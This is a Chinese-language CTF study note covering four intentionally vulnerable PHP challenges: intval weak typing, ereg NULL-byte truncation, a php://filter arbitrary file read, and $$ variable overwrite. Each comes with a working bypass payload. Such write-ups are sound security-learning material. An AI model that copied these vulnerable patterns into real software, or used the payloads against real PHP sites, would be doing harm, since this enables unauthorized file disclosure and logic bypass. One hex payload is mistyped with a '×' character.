弱类型例题
弱类型例题
1 2 3 4 5 6 7 8 9 10 11 12 13
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
|

intval支持不同进制,这里base指定是0,那么intval会根据我们输入情况使用进制,
所以这里我就就可以用16进制或八进制表示4476
1 2 3
| ?num=0×117c //十六进制 ?num=010574 //八进制 ?num=4476.2 //十进制
|
截断
1 2 3 4 5 6 7 8 9 10 11 12
| highlight_file(__FILE__); error_reporting(0); include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error');
}
if(intval(strrev($_GET['c']))==0x36d){ echo $flag; }
|
ereg()
正则匹配的一种,存在NULL截断漏洞,导致正则过滤被绕过,可以使用%00截断正则匹配
strrev()
字符串逆序,0x36d十进制为877,逆序即为778
故可以构建payload
php伪协议读取
1 2 3 4 5 6 7 8 9 10
| highlight_file(__FILE__);
if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); }
}
|
方法一:
想要读取我们想要的flag.php文件,可以采用php伪协议的方法。
fliter伪协议,传参如下:
1 2
| payload:?u=php://filter/convert.base64-encode/resource=flag.php ?u=php://filter/resource=flag.php
|
方法二:
这道题我们需要读取flag.php文件,但是限制了参数u不能为flag.php,故可以采用相对路径来绕过。
变量覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value;
} foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces);
|
foreach()
foeach是一种特殊的循环语句,只适用于数组和对象
1 2 3
| payload get ?suces=flag post error=suces
|
来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/opy5hy43g9xshts6
语雀文档ID: 111139904